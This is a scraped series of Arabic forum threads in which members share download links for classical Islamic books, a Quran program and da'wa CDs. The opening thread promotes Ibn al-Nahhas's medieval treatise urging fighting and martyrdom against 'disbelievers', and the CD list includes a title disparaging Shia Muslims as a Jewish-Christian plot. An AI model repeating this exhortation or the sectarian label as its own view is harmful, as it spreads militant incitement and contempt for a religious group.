أبي زكريا أحمد بن إبراهيم بن محمد الدمشقي ثم الدمياطي
المشهور بابن النحاس
(المتوفى سنة 814 ه)
وقد أجمع العلماء على أن كتاب ابن النحاس هو أفضل كتاب في الجهاد، وأكثر الكتب المؤلفة في الجهاد جمعاً
وتحقيقا، وأغزرها معلومات وفوائد.
نبذة عن الكتاب:
كتاب عظيم في فضل الجهاد والمجاهدين ألفه الإمام أبو زكريا أحمد بن إبراهيم بن محمد الدمشقي ثم الدمياطي المشهور بابن النحاس (المتوفى سنة 814 ه)
يقول رحمه الله تعالى في سبب تأليف الكتاب:
ولما رأيت الجهاد في هذا الزمان قد درست آثاره فلا ترى، وطمست أنواره بين الورى، وأعتم ليله بعد أن كان مقمرا، وأظلم نهاره بعد أن كان نيرا، وذوى غصنه بعد أن كان مورقا، وانطفأ حسنه بعد أن كان مشرقا، وقفلت أبوابه فلا تطرق، وأهملت أسبابه فلا ترمق، وصفنت خيوله فلا تركض، وصمتت طبوله فلا تنبض، وربضت أسوده فلا تنهض، وامتدت أيدي الكفرة الأذلاء إلى المسلمين فلا تقبض، وأغمدت السيوف من أعداء الدين، إخلاداً إلى حضيض الدعة والأمان، وخرس لسان النفير إليهم فصاح نفيرهم في أهل الإيمان، وآمت عروس الشهادة إذ عدمت الخاطبين، وأهمل الناس الجهاد كأنهم ليسوا به مخاطبين، فلا نجد إلا من طوى بساط نشاطه عنه أو اثّاقل إلى نعيم الدنيا الزائل رغبة منه، أو تركه جزعاً من القتل وهلعا، أو أعرض عنه شحاً على الإنفاق وطمعا، أو جهل ما فيه من الثواب الجزيل، أو رضي بالحياة الدنيا من الآخرة، وما متاع الحياة الدنيا في الآخرة إلا قليل.
أحببت أن أوقظ الهمم الرُّقَّد، وأنهض العزم المقعد، وألين الأسرار الجامدة، وأبين الأنوار الخامدة، بمؤلف أجمعه في فضل أنواع الجهاد والحض عليه وما أعد الله لأهله من جزيل الثواب عنده وجميل المآب لديه، وما ادخر لعباده المرابطين والشهداء، وما وعدهم به من الكرامة في جنته دار السعداء.
فاستخرت الله سبحانه وألقيت إليه مقاليد الإذعان، وبرأت إليه من الحول والقوة وما يعتري الإنسان من النسيان.
مع أن فهمي قاصر وباعي قصير، وعزمي متقاصر وجناحي كسير، وهمي متكاثر وشغلي كثير، وعجزي ظاهر ومالي ظهير، لكن الرب سبحانه عند القلوب المنكسرة وإذا رجاه المقصر ستر وصمه وجبره، وهو حسبي وكفى.
وسميته: ”مشارع الأشواق إلى مصارع العشاق، ومثير الغرام إلى دار السلام“.
وقد عاش الإمام الجهاد حالة واقعة في حياته، حيث نشأ في دمشق نشأة جهادية، ومارس الجهاد فيها عملياَ، ولما
انتقل إلى مصر وأقام في دمياط حو الي عشر سنوات، جاهد فيها جهادا صادقا عملياً، وكان يقود أهل دمياط وما
حولها في جهاد الصليبيين، وصد غاراتهم وختم الله حياته الجهادية بالقتل على يدي العدو، وقتل في معركة "الطينة" قرب دمياط سنه: 814 ه.
نبذة عن كتاب: مشارع الأشواق إلى مصارع العشاق و مثير الغرام إلى دار السلام (في الجهاد وفضائله) ( http://www.ahlalhdeeth.com/vb/showthread.php?t=146698)
(يُتْبَع .. اقلب الصفحة)
(61/330)
ـ[ماجد المسلم]ــــــــ[03 - 10 - 08, 05:12 م]ـ
أخي الفاضل أبو زارع ..
جزاك الله خيراً أحسن إليك ....
رابط مباشر على الأرشيف:
http://ia311206.us.archive.org/2/items/machari3alachwa9_687/machari3alachwa9.pdf
ـ[أبو الحسن الأنماري]ــــــــ[16 - 10 - 08, 08:04 م]ـ
جزاك الله خير أخي الفاضل
http://www.uquni.com/vb/uploaded/281_01223149572.png
ـ[أبو محمد العدني]ــــــــ[16 - 10 - 08, 11:16 م]ـ
جزاك الله خير أخي الفاضل
ـ[ماجد المسلم]ــــــــ[17 - 10 - 08, 01:06 ص]ـ
واياكم وبارك الله فيكم
لا يعمل سوى الرابط الأول فقد حذف من الأرشيف لمحتواه وتعطل رابط الحجم الأصغر ..
ـ[بن نعمان]ــــــــ[17 - 10 - 08, 01:08 ص]ـ
جزاك الله خيرا يا أخي
ـ[أبو مازن العوضي]ــــــــ[17 - 10 - 08, 06:56 م]ـ
شكر الله لك
ـ[ايهاب الزين]ــــــــ[18 - 10 - 08, 02:23 م]ـ
واياكم وبارك الله فيكم
لا يعمل سوى الرابط الأول فقد حذف من الأرشيف لمحتواه وتعطل رابط الحجم الأصغر ..
نعم وليته يكمل التحميل
ـ[ايهاب الزين]ــــــــ[18 - 10 - 08, 02:32 م]ـ
واياكم وبارك الله فيكم
لا يعمل سوى الرابط الأول فقد حذف من الأرشيف لمحتواه وتعطل رابط الحجم الأصغر ..
نعم وليته يكمل التحميل
ـ[ماجد المسلم]ــــــــ[18 - 10 - 08, 02:50 م]ـ
رابط مباشر بحجم أصغر (21 ميعا)
http://www.archive.org/download/MAAEMAO/maaemao.pdf
ـ[سيدي محمد اندي]ــــــــ[18 - 10 - 08, 05:06 م]ـ
السلام عليكم
هذا رابط مباشر بحجمه الاصلي وجودته العالية
http://www.up.iraqmaster.net/up1/e5db6_217.zip
وجزاكم الله خيرا اخواني وخاصة ماجد المسلم
ـ[ايهاب الزين]ــــــــ[18 - 10 - 08, 10:47 م]ـ
السلام عليكم
هذا رابط مباشر بحجمه الاصلي وجودته العالية
http://www.up.iraqmaster.net/up1/e5db6_217.zip
وجزاكم الله خيرا اخواني وخاصة ماجد المسلم
جزاك الله خيرا
جاري التحميل
ـ[ابو شعيب]ــــــــ[19 - 10 - 08, 05:03 ص]ـ
جزاك الله خير، كم هو مؤثر هذا الكتاب ..
ـ[ماجد المسلم]ــــــــ[19 - 10 - 08, 05:04 م]ـ
الأخ سيدي محمد .. أشكرك على إضافة الرابط وجزاك الله خيراً
الاخوة ايهاب الزين وابو شعيب .. شكراً على مروركم
ـ[عدنان الاسعد]ــــــــ[19 - 10 - 08, 09:42 م]ـ
جزاك الله خيرات حسان ,,,,,
ـ[مهاجي جمال]ــــــــ[02 - 01 - 09, 07:02 ص]ـ
جزاك الله خيرا
ـ[احمد السعد]ــــــــ[02 - 01 - 09, 08:16 ص]ـ
جزاك الله خيرا وبارك فيك.
ـ[ماجد المسلم]ــــــــ[25 - 02 - 09, 06:13 ص]ـ
تم حذف رابط الأرشيف وهذه روابط إضافية:
http://rapidshare.com/files/202226378/maaemao.pdf
أو
http://www.filefactory.com/file/af2ee62/n/maaemao_pdf
أو
http://netload.in/dateii5FBP6Y1x6/maaemao.pdf.htm
أو
http://www.load.to/lx7AiVzgLh/maaemao.pdf
ـ[أبو زارع المدني]ــــــــ[03 - 08 - 09, 03:04 م]ـ
للفائدة
ـ[أبو سليمان العسيلي]ــــــــ[03 - 08 - 09, 05:57 م]ـ
السلام عليكم و رحمة الله و بركاته
جزاكم الله كل خير اخوتي
ـ[جيان عبدالله]ــــــــ[21 - 09 - 10, 11:28 ص]ـ
شكر الله جهودكم
كنت أبحث عنه
ـ[أبوعلي السلفي]ــــــــ[21 - 09 - 10, 06:11 م]ـ
ممكن بصيغة الشاملة
ـ[عصمت الله]ــــــــ[22 - 09 - 10, 06:10 ص]ـ
صرح المؤلف في مقدمته عن أبواب الكتاب فقال: ورتبته على ثلاثة وثلاثين بابا وخاتمة".
وكل الأبواب -إلى الباب الخامس والعشرين -موجودة في الشاملة، و تنقصها الأبواب التالية:
..................
الباب السادس والعشرون: في بيان أن الأجر في الجهاد، لا يحصل إلا بالنية الصالحة وتفصيل أنواع النيات.
الباب السابع والعشرون: في بيان أن من خرج غازيا في سبيل الله تعالى، فمات من غير قتال فهو شهيد، وله الجنة، وفضل من صدع رأسه في سبيل الله أو مرض.
الباب الثامن والعشر ون: في الترغيب في سؤال الشهادة، والحرص عليها، وذكر بعض من تعرض لها فنالها.
الباب التاسع والعشرون: في فضل الشهيد المقتول في سبيل الله تعالى.
الباب الثلاثون: في بيان تحريم الغلول، وتغليظ الإثم فيه، والدليل على أن من غل في سبيل الله تعالى ثم قتل لا يكون شهيدا.
الباب الحادي والثلاثون: في فكاك أسرى المسلمين، وذكر من أوجب فداءهم، والنفير لاستنقاذهم.
الباب الثاني والثلاثون: في الإشارة إلى مغازي النبي (، وسراياه، وذكر بعض غزوات المسلمين، وفتوحاتهم بعده، على سبيل الإيجاز والاختصار.
الباب الثالث والثلاثون: في مدح الشجاعة، وذم الجبن، وبيان حقيقتهما، وكيفية علاجهما وذكر بعض شجعان السلف وأبطالهم.
وأما الخاتمة: فتشتمل على قسمين:
القسم الأول: فيما لا بد للمجاهد من معرفته، من الأحكام، والآداب الشرعية.
والثاني: في نبذ مختصرة، من المكايد، والحيل الحربية.
فهل من مشمر، متفضل يتكرم بتكميل الناقص
كل الأنظار متجهة إلى الأخ الطيماوي حفظه الله ورعاه،
فله الأيادي البيضاء في طبع و توفيق الكتب للمطبوع و تزويدها لرواد الملتقى
فهل عنده متسع من الوقت لهذا العمل الجليل، ذي الثواب والأجر الجزيل؟!
بارك الله في وقته وماله وجهده.
(يُتْبَع .. اقلب الصفحة)
(61/331)
ـ[اسامة عبد الرافع]ــــــــ[24 - 09 - 10, 12:24 ص]ـ
بارك الله فيك وجزاك خيرا كثيرا
ـ[حسن المفضلي]ــــــــ[24 - 09 - 10, 02:53 ص]ـ
يرفع للفائدة
ولما للكتاب من قيمة علمية
ـ[عصمت الله]ــــــــ[24 - 09 - 10, 08:09 م]ـ
من كان لديه رغبة في اقتناء نصف الكتاب (الجزء الأول) جاهزا للشاملة مفهرسا، فأنا مستعد أن أزوده، و لكن نريد الكتاب كاملا، ألا من فارس يكسب الأجر والثواب"!
ـ[الطيماوي]ــــــــ[23 - 10 - 10, 12:02 م]ـ
مصارع العشاق للسراج
http://www.megaupload.com/?d=2VVS3XOF
وهذا لابن النحاس
http://www.megaupload.com/?d=5ORF83N5
ـ[احمد السعد]ــــــــ[23 - 10 - 10, 06:11 م]ـ
للفائدة
ـ[احمد السعد]ــــــــ[01 - 11 - 10, 07:24 م]ـ
مصارع العشاق للسراج
http://www.megaupload.com/?d=2VVS3XOF
وهذا لابن النحاس
http://www.megaupload.com/?d=5ORF83N5
اخي الحبيب الرابط الثاني لا يعمل
ـ[حمدان المطرى]ــــــــ[08 - 11 - 10, 07:51 ص]ـ
بارك الله فى الجميع(61/332)
طلب كتاب: الإنصاف في مسائل الخلاف لابن العربي
ـ[عبد الرءوف الورتيلاني]ــــــــ[01 - 10 - 08, 12:34 ص]ـ
السلام عليكم ورحمة الله
هل من مرشد إلى نسخة (مصورة ان أمكن) من كتاب: الإنصاف في مسائل الخلاف لابن العربي.
وجزاكم الله خيرا!
ـ[علي غيثه]ــــــــ[03 - 10 - 08, 12:21 ص]ـ
أخي العزيز،،،،
السلام عليكم ورحمة الله وبركاته:
طلبك تجده على هذا الرابط:
http://www.kabah.info/uploaders/ensaf.rar
أرجو أن تنال بغيتك.
والسلام عليكم ورحمة الله وبركاته.
ـ[الديولي]ــــــــ[03 - 10 - 08, 12:30 ص]ـ
جزاك الله خيرا
ـ[الديولي]ــــــــ[03 - 10 - 08, 12:57 ص]ـ
السلام عليكم ورحمة الله
هل من مرشد إلى نسخة (مصورة ان أمكن) من كتاب: الإنصاف في مسائل الخلاف لابن العربي.
وجزاكم الله خيرا!
السلام عليكم
أليس هذا الكتاب لأبي البركات الأنباري،كما وضع اخونا علي غيثه الرابط الدال عليه أم هو غيره
ـ[علي غيثه]ــــــــ[03 - 10 - 08, 06:51 ص]ـ
الأخ العزيز الديولي
السلام عليكم ورحمة الله
أشكر لك ملاحظتك الجيدة فقد التبس علي اسم الكتاب ولم أنتبه لاسم المؤلف
والرابط بالفعل هو لابن الأنباري والبحث جاري عن كتاب ابن العربي.
بارك الله فيك.
والسلام عليكم.
ـ[عبد الرءوف الورتيلاني]ــــــــ[03 - 10 - 08, 11:31 م]ـ
حفظكم الله يا إخوتي الأعزاء
لقد بحثت عن نسخة عن هذا الكتاب لابن العربي فلم أجده على الشبكة، ولكن للزاوايا خبايا ... فربما عثر عليها أحد الإخوة
وجزاكم الله خيرا
ـ[الديولي]ــــــــ[04 - 10 - 08, 12:37 م]ـ
الأخ العزيز الديولي
السلام عليكم ورحمة الله
أشكر لك ملاحظتك الجيدة فقد التبس علي اسم الكتاب ولم أنتبه لاسم المؤلف
والرابط بالفعل هو لابن الأنباري والبحث جاري عن كتاب ابن العربي.
بارك الله فيك.
والسلام عليكم.
حفظك الله ورعاك
اتمنى لو عثر على الكتاب لنطلع عليه، ونستفيد منه
ـ[عبد الرءوف الورتيلاني]ــــــــ[15 - 10 - 08, 01:17 م]ـ
يبدو أن هذا الكتاب غير موجود على الشبكة، فهل من مرشد إلى طبعة له، فربما نقوم بتصويرها ورفعها هنا؟
ـ[أبو عبد الله الباعمراني]ــــــــ[02 - 07 - 10, 07:24 ص]ـ
السلام عليكم ورحمة الله
هل من مرشد إلى نسخة (مصورة ان أمكن) من كتاب: الإنصاف في مسائل الخلاف لابن العربي.
وجزاكم الله خيرا!
السلام عليكم ورحمة الله وبركاته
أما كتاب الإنصاف لابن العربي فهو كتاب نفيس جدا في الخلاف العالي، وهو تعليق على كتاب الإشراف على مسائل الخلاف للقاضي عبد الوهاب.
وناقش فيه ابن العربي آراء المذاهب الفقهية، ورجح ما قوي دليله في عدد من المسائل، واهتم ببيان أسباب الخلاف وخاصة فيما يتعلق بقواعد كل مذهب.
وقد كان هذا الكتاب عمدة أبي عبد الله المقري في قواعده.
يسر الله الوقوف على مخطوطاته لتحقق وتنشر.(61/333)
عيدية المساهم (1): كتاب كشف اللثام شرح عمدة الأحكام 7 مجلدات (لأول مرة) Pdf
ـ[المساهم]ــــــــ[01 - 10 - 08, 02:28 ص]ـ
السلام عليكم ورحمة الله وبركاته
في البداية نبارك لأعضاء المنتدى عيد الفطر المبارك ونقول تقبل الله صيامكم وقيامكم وغفر لنا ولكم جميع الذنوب والخطايا ـ اللهم آمين ـ، وأقدم لكم العيدية الأولى من عيادي العيد والمكونة من ثلاث عيادي تنزل تباعا في هذا المنتدى المبارك والعيدية الأولى سفر عظيم وهو عبارة عن شرح لعمدة الأحكام للسفاريني والموسوم بـ
كشف اللثام شرح عمدة الأحكام
للإمام شمس الدين محمد بن أحمد السفاريني
التحميل
archive (http://www.archive.org/details/letham) أو adrive (http://www.adrive.com/public/decbe2e67543ca395516be29b29a48d397e7d4d1a000a3b2e0 f7bcfdcf76ac50.html)
بطاقة الكتاب
العنوان: كشف اللثام شرح عمدة الأحكام.
المؤلف: الإمام شمس الدين محمد بن أحمد بن سالم السفاريني.
دار النشر: مكتب الشئون الفنية في وزارة الأوقاف والشئون الإسلامية ـ دار النوادر.
سنة الطبع: الطبعة الأولى (1428 هـ / 2007م).
نوع التغليف: سبعة مجلدات
ـ[عبدالملك السبيعي]ــــــــ[01 - 10 - 08, 02:58 ص]ـ
- جزاكم الله خيرًا.
ـ[أبوعمرو المصري]ــــــــ[01 - 10 - 08, 03:14 ص]ـ
جزاكم الله خيرا وعيدكم مبارك وتقبل الله منكم.
ـ[أبو معاذ الهلالي]ــــــــ[01 - 10 - 08, 04:24 ص]ـ
جزاك الله خيرا على عظيم ما تبذله وتقبّل منك.
ـ[مصعب الجهني]ــــــــ[01 - 10 - 08, 04:38 ص]ـ
ما شاء الله جزاك الله خير, هدية مُفرحه
ـ[إبراهيم حسين]ــــــــ[01 - 10 - 08, 06:50 ص]ـ
جزاك الله الخير وبارك فيك ونفع بك وهديتك مقبولة وكل عام وانت وجمبع المسلمين بخير
ـ[ابو عبد المحسن]ــــــــ[01 - 10 - 08, 07:58 ص]ـ
بارك الله فيك وكل عام وأنت بخير
هدية قيمة جداً ...
ـ[أبو مازن العوضي]ــــــــ[01 - 10 - 08, 08:01 ص]ـ
جزاك الله خيرا، وكل عام وأنتم بخير، ولعل أمثال هذه الهدايا تستمر أيضاً كشوالية، وذي القعدية وذي الحجية (ابتسامة كبيرة) وشكراً لك
ـ[يحيى صالح]ــــــــ[01 - 10 - 08, 11:12 ص]ـ
جزاكم الله خيرًا و تقبل الله منا و منكم صالح الأعمال.
ـ[أبو أحمد السكندرى]ــــــــ[01 - 10 - 08, 12:59 م]ـ
بارك الله فيك
ـ[بن سالم]ــــــــ[01 - 10 - 08, 06:23 م]ـ
... جزاكَ اللهُ خيراً ... ونفعَ اللهُ بكَ.
ـ[حمود بن يحيى]ــــــــ[01 - 10 - 08, 08:11 م]ـ
جزاك الله خيرًا ..
ـ[محمد بن جرير]ــــــــ[01 - 10 - 08, 08:35 م]ـ
بوركت
ـ[أبو عبدالله بن جفيل العنزي]ــــــــ[02 - 10 - 08, 02:42 ص]ـ
أحسن الله إليك
ـ[ماجد المسلم]ــــــــ[02 - 10 - 08, 02:53 ص]ـ
جزاك الله خيراً
ـ[إسلام بن منصور]ــــــــ[02 - 10 - 08, 08:49 م]ـ
جزاكم الله خيرا وبارك الله فيك
ـ[أسامة طارق]ــــــــ[03 - 10 - 08, 01:51 ص]ـ
جزاكم الله خيراً
ـ[طه محمد عبدالرحمن]ــــــــ[05 - 10 - 08, 12:30 ص]ـ
جزاكم الله خيراً(61/334)
مصحف المدينة المنورة للنشر الحاسوبى (المصحف على جهازك و بامكانية البحث)
ـ[محمد الاسلام]ــــــــ[01 - 10 - 08, 03:54 ص]ـ
هو مصحف جميل لقراءة القرآن ويحتوى على خاصية البحث
يوجد بالبرنامج امكانية نسخ الكلام من الصفحة الى ملف ورد للطباعة
و امكانية تغيير نوع الخط و حجمة و الالوان كذلك
بعد فك الضغط قم بتسطيب البرنامج من ملف Setup.exe
كما فى الصورة
http://www47.megaupload.com/files/c2f46b27e25419759e95164c8cedddc9/sskg4.jpg
http://www47.megaupload.com/files/49ff36bf695f44eddc8263f745b9de8d/64261515ct9.jpg (http://www47.megaupload.com/files/49ff36bf695f44eddc8263f745b9de8d/64261515ct9.jpg)
روابط التحميل ملف واحد مضغوط بمساحة 65 ميجا بايت
http://rapidshare.com/files/139244095/AllApp.zip
ـ[محمد الاسلام]ــــــــ[01 - 10 - 08, 04:21 ص]ـ
وهذة صفحة البرنامج من موقع مجمع الملك فهد
http://www.qurancomplex.org/MaterialCMS/viewSection.asp?matId=134&id=135&l=arb&matLang=arb&SecOrder=15&SubSecOrder=2
وهذا رابط مباشر لتنزيل البرنامج
http://www.qurancomplex.org/Downloads/Fonts/AllApp.zip
ـ[محمد الاسلام]ــــــــ[01 - 10 - 08, 04:23 ص]ـ
وشكرا
ـ[أبو عبد الله الغيني]ــــــــ[01 - 10 - 08, 11:07 ص]ـ
بسم الله الرحمن الرحيم
جزاك الله خيراً على البرنامج القيم، جعله الله في موازين حسناتكم.
أقترح على من قام نتحميله زيارة هذا الموضوع بعنوان: "رسالة عاجلة إلى من يهمه قالب البحوث والرسائل، ومصحف المدينة"؛ لاشتماله على بعض الملاحظات التي قد تعين المستخدم -بإذن الله- على تفادي تغيّر الخطوط إلى رموز. وجزاكم الله خيراً.
وإليكم الرابط:
http://www.ahlalhdeeth.com/vb/showthread.php?t=149204(61/335)
حمل عشرات الأسطوانات الإسلامية بروابط مباشرو وقابلة لاستكمال التحميل ... موضوع متجدد
ـ[مشرف الشهري]ــــــــ[01 - 10 - 08, 04:02 ص]ـ
http://www.m1500.com/vb/forumdisplay.php?f=20
ـ[ابو عبد المحسن]ــــــــ[01 - 10 - 08, 08:02 ص]ـ
روابط قيمة جداً بارك الله في جهودكم
ـ[يحيى صالح]ــــــــ[01 - 10 - 08, 11:15 ص]ـ
جزاكم الله خيرًا و بارك الله فيكم
ـ[محمد عمارة]ــــــــ[03 - 10 - 08, 08:29 ص]ـ
جزاكم الله خيرا
ـ[مصطفي حمدان]ــــــــ[03 - 10 - 08, 12:19 م]ـ
جزاكم الله خيرًا
ـ[العوضي]ــــــــ[03 - 10 - 08, 09:58 م]ـ
بارك الله فيك ونفع بك
ـ[شبيب القحطاني]ــــــــ[04 - 10 - 08, 12:41 م]ـ
تقبل الله منا ومنكم
وجزاكم الله خيرا
ـ[مشرف الشهري]ــــــــ[05 - 10 - 08, 04:03 م]ـ
وإياكم إخوتي الكرام
نفيدكم انا أضفنا المزيد من الاسطوانات على روابط مباشرة وشغااااااااااااالة وتدعم استكمال التحميل
ومن لديه روابط لأسطوانات اخرى فليخبرنا لإضافتها من اجل حصر ما على النت من اسطوانات إسلامية ودعوية في مكان واحد
ـ[ابودُجانه]ــــــــ[06 - 10 - 08, 04:03 م]ـ
بارك الله فيك
ـ[مشرف الشهري]ــــــــ[07 - 10 - 08, 08:07 ص]ـ
أكرر من يعرف روابط مباشرة لأسطوانات دعوية أخرى لم نذكرها يضعها هنا ليعاد رفعها في مكان واحد
ـ[مشرف الشهري]ــــــــ[07 - 10 - 08, 08:15 ص]ـ
قائمة الاسطوانات المضافة حتى الآن:
نبدأ باسطوانة العيد وكل عام وأنتم بخير .......... رابط مباشر
كاتب الموضوع: أبو محمد الشهري
حمل أسطوانة (رسائل الحكمة و الموعظة الحسنة) وهي مخصصة في دعوة النصارى للدخول في دين الله
كاتب الموضوع: أبو محمد الشهري
حمل أسطوانة البوربوينت الإسلامي
كاتب الموضوع: أبو محمد الشهري
حمل أسطوانة مكتبة التفاسير (26) تفسيرا مع إمكانية البحث في المصحف والتفاسير
كاتب الموضوع: أبو محمد الشهري
علم طفلك الحروف والآرقام وجزء عم وجزء خاص بالالعاب وغيرها ............. أسطوانة رائعة
كاتب الموضوع: أبو محمد الشهري
حمل قرص مؤلفات الشيخ محمد الغزالي رحمه الله
كاتب الموضوع: أبو محمد الشهري
حمل قرص دار الكتب العلمية إصدار 2005 برابط مباشر للتحميل
كاتب الموضوع: أبو محمد الشهري
حمل قرص مجلة المعهد المصري للدراسات الإسلامية - مدريد
كاتب الموضوع: أبو محمد الشهري
حمل أسطوانة مؤلفات الشيخ مقبل بن هادي الوادعي
كاتب الموضوع: أبو محمد الشهري
حمل قرص مجلة التاريخ العربي (الاصدار الأول) - الفهارس
كاتب الموضوع: أبو محمد الشهري
حمل أسطوانة (الرافضة) بذرة نصرانية غرستها اليهودية في أرض مجوسية
كاتب الموضوع: أبو محمد الشهري
سلسلة تفسير القران الكريم للشيخ محمد حسان حفظه الله (الأسطوانة الأولى)
كاتب الموضوع: أبو محمد الشهري
حمل سلسلة أسطوانات أمراض الأمة للشيخ محمد حسّان
كاتب الموضوع: أبو محمد الشهري
حمل اسطوانة .... الكلمات النافعة فى الفتن الواقعة .... لكبار علماء الامة الاسلامية
كاتب الموضوع: أبو محمد الشهري
حمل اسطوانة موسوعة ويكييميديا
كاتب الموضوع: أبو محمد الشهري
حمل أسطوانة صلاة الفجر ...................................... رابط مباشر
كاتب الموضوع: أبو محمد الشهري
حمل سبع أسطوانات لمحاضرات مرئية لفضيلة الشيخ محمد بن صالح العثيمين رحمه الله تعالى
كاتب الموضوع: أبو محمد الشهري
حمل 3 أسطوانات لمحاضرات مرئية لسماحة الشيخ عبد العزيز بن باز رحمه الله تعالى
كاتب الموضوع: أبو محمد الشهري
حمل أسطوانة (كيف تصنع كتابك الإلكتروني) ......... رابط مباشر
كاتب الموضوع: أبو محمد الشهري
حمل أسطوانة شرح كتاب التوحيد للشيخ / صالح بن عبد العزيز آل الشيخ
كاتب الموضوع: أبو محمد الشهري
حمل سلسلة اسطوانات بالصوت والصورة شرح كتاب التوحيد للامام محمد بن عبد الوهاب للشيخ عبد الرزاق بن عبد المحسن العباد البدر
كاتب الموضوع: أبو محمد الشهري
حمل أسطوانة كتب الشيخ محمد الغزالي رحمه الله تعالى
كاتب الموضوع: أبو محمد الشهري
حمل اسطوانة مكتبة التفاسير على رابط خاص السلسلة الذهبية
كاتب الموضوع: أبو محمد الشهري
احداث النهاية من شركة القمة فى برنامج الكترونى على 6 اسطوانات اهداء لاعضائنا&مكتمل
كاتب الموضوع: الاسد2000
أسطوانة المصحف المعلم لتحفيظ القرآن الكريم بصوت الشيخ الحذيفى
كاتب الموضوع: الاسد2000
إسطوانة الشيخ الداعية احمد ديدات (((وتحتوى على ست مناظرات)))
كاتب الموضوع: الاسد2000
صحيح البخارى---بالصوت والصورة //////////// كاملا::: مهم لطلبة العلم
كاتب الموضوع: الاسد2000
برنامج يحتوى على اكثر من7الاف سؤال واجابتهم فى مختلف علوم الاسلام رااااائع
كاتب الموضوع: الاسد2000
حمل الأسطوانة الأولى لسلسلة برنامج (الراصد) لمحاضرات فضيلة الشيخ محمد صالح المنجد
كاتب الموضوع: أبو محمد الشهري
حمل اسطوانات سلسلة شرح كتاب السنة لابن ابى عاصم لفضيلة الشيخ أحمد النقيب
كاتب الموضوع: أبو محمد الشهري
حمل أسطوانتين في شرح كتاب ثلاثة الأصول للشيخ محمد بن عبد الوهاب لفضيلة الشيخ محمد حسان
كاتب الموضوع: أبو محمد الشهري
حمل اسطوانة شرح كتاب الشريعة للإمام محمد بن الحُسين الآجري لفضيلة الشيخ أحمد النقيب
كاتب الموضوع: أبو محمد الشهري
حمل أسطوانتين في تفسير سورتي طه والأنبياء للشيخ عبد البديع أبوهاشم من تفسير ابن كثير
كاتب الموضوع: أبو محمد الشهري
حمل 3 اسطوانات في تفسير سورتي الكهف ومريم للشيخ عبد العظيم بدوي
كاتب الموضوع: أبو محمد الشهري
أسطوانة الخطب المنبرية المرئية من قناة الحكمة
كاتب الموضوع: أبو محمد الشهري
موسوعة العبدين الإسلامية أكثر من 575 برنامج وفلاش وخلفية وموسوعة أدخل وحمل وقول رأيك
كاتب الموضوع: الاسد2000
حمل أسطوانة المتون العلمية
كاتب الموضوع: أبو محمد الشهري
سلسلة اسطوانات عظماء من بلاد الأسلام للشيخ محمد موسى الشريف
كاتب الموضوع: أبو محمد الشهري
(يُتْبَع .. اقلب الصفحة)
(61/336)
ـ[أبو عبد الله ابراهيم]ــــــــ[07 - 10 - 08, 09:46 م]ـ
جزاكم الله خيرا
ـ[منير الجزائري]ــــــــ[10 - 10 - 08, 06:19 م]ـ
بارك الله فيكم وفي جهودكم
الأخ الفاضل مشرف الشهري، ارجوا منك ان تتفحص الروابط، لأنّي لم اتمكن من التحميل.
الظاهر و الله أعلم أنّك وضعتها في صفحة خاصة بك بواسطة رقم سري أو ما شابه ذلك، أو المشكل عندي فقط بحيث لا استطيع التحميل من موقع التحميل http://www.mediafire.com .
أفيدونا جزاكم الله خيرا.
ـ[مشرف الشهري]ــــــــ[10 - 10 - 08, 06:54 م]ـ
أخي منير بالفعل تم توقيف التحميل مؤقتا لاستهلاك الإخوة الباندودث المخصص لي
ولعلنا نشتري زيادة ونعاود التحميل ومعذرة على الإزعاج
ـ[منير الجزائري]ــــــــ[22 - 10 - 08, 09:22 م]ـ
أثابكم الله وأعانكم على كل خير
جزاك الله خيرا أخي الفاضل مشرف الشهري.(61/337)
فيض القدير
ـ[أبو فهر الأثري]ــــــــ[01 - 10 - 08, 04:38 ص]ـ
أريد كتاب فيض القدير شرح الجامع الصغير للعلامة المناوي بصيغة pdf ضروري وجزاكم الله خيرا
ـ[الألخاسي]ــــــــ[01 - 10 - 08, 06:45 ص]ـ
انظر هنا:
http://www.archive.org/details/faytheelkadir
أو رابط مباشر:
http://www.archive.org/download/faytheelkadir/faytheelkadir.pdf
منقول من هنا:
http://majles.alukah.net/showthread.php?t=12835
ـ[أبو فهر الأثري]ــــــــ[01 - 10 - 08, 09:35 ص]ـ
جزاك الله خيرا
أسأل اله أن يجعلك من أهل الفردوس الأعلى(61/338)
رسالة عاجلة إلى من يهمه قالب البحوث ومصحف المدينة النبوية
ـ[أبو عبد الله الغيني]ــــــــ[01 - 10 - 08, 09:15 ص]ـ
<! --[ if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:PunctuationKerning/> <w:ValidateAgainstSchemas/> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixed*******>false</w:IgnoreMixed*******> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:Compatibility> <w:BreakWrappedTables/> <w:SnapToGridInCell/> <w:WrapTextWithPunct/> <w:UseAsianBreakRules/> <w:DontGrowAutofit/> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> </w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" LatentStyleCount="156"> <w:LsdException Locked="false" Name="Default Paragraph Font"/> </w:LatentStyles> </xml><![endif]--><o:p> </o:p><!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:" جدول عادي"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-********:#0400; mso-fareast-********:#0400; mso-bidi-********:#0400;} </style> <![endif]--> بسم الله الرحمن الرحيم< o:p></o:p>
الحمد لله وكفى، وسلامٌ على عباده الذين اصطفى< o:p></o:p>
مشايخي وإخواني الأعزاء –حفظكم الله- < o:p></o:p>
السلام عليكم ورحمة الله وبركاته.< o:p></o:p>
أما بعد:< o:p></o:p>
<o:p> </o:p> فهذه تنبيهات مهمّة لبرنامجين مهمّين:< o:p></o:p>
<!--[if !supportLists]-->1-<!--[endif]-->" قالب البحوث والرسائل 9"، -جزى الله خيراً صاحبه الأستاذ سعد بن عبد الله الواصل، وكل من أعان على نشره وتطويره- < o:p></o:p>
<!--[if !supportLists]-->2-<!--[endif]--> برنامج مصحف المدينة النبوية –جزى الله خيراً القائمين عليه، ومن أعان على نشره وتطويره-< o:p></o:p>
